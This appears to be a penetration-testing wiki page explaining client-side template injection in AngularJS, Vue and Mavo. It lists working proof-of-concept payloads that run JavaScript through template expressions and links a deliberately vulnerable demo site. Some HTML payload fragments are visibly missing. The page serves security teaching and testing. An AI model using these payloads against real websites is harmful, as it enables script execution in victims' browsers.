# Client Side Template Injection (CSTI) ## Summary It is like a [**Server Side Template Injection**](ssti-server-side-template-injection/) but in the **client**. The **SSTI** can allow you the **execute code** on the remote server, the **CSTI** could allow you to **execute arbitrary JavaScript** code in the victim. The way to **test** for this vulnerability is very **similar** as in the case of **SSTI**, the interpreter is going to expect something to execute **between doubles keys** and will execute it. For example using something like: `{{ 7-7 }}` if the server is **vulnerable** you will see a `0` and if not you will see the original: `{{ 7-7 }}` ## AngularJS AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the **`ng-app`** attribute (also known as an AngularJS directive). When a directive is added to the HTML code, **you can execute JavaScript expressions within double curly braces**.\ For example, if your **input** is being **reflected** inside the **body** of the HTML and the body is defined with `ng-app`: **``** You can **execute arbitrary JavaScript** code using curly braces **adding** to the **body**: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
``` You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) {% hint style="danger" %} ****[**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `` should work. {% endhint %} ## VueJS You can find a **vulnerable vue.js** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\ Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D) And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) ```markup ">
aaa
``` A really good post in CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V3** ``` {{_openBlock.constructor('alert(1)')()}} ``` Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V2** ``` {{constructor.constructor('alert(1)')()}} ``` Credit: [Mario Heiderich](https://twitter.com/cure53berlin) **Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)**** ## Mavo Payload: ``` [7*7] [(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)] javascript:alert(1)%252f%252f..%252fcss-images [Omglol mod 1 mod self.alert (1) andlol] [''=''or self.alert(lol)] test
lolxself.alert('lol')lolx
test [self.alert(1)mod1] ``` **More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)**** ## **Brute-Force Detection List** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}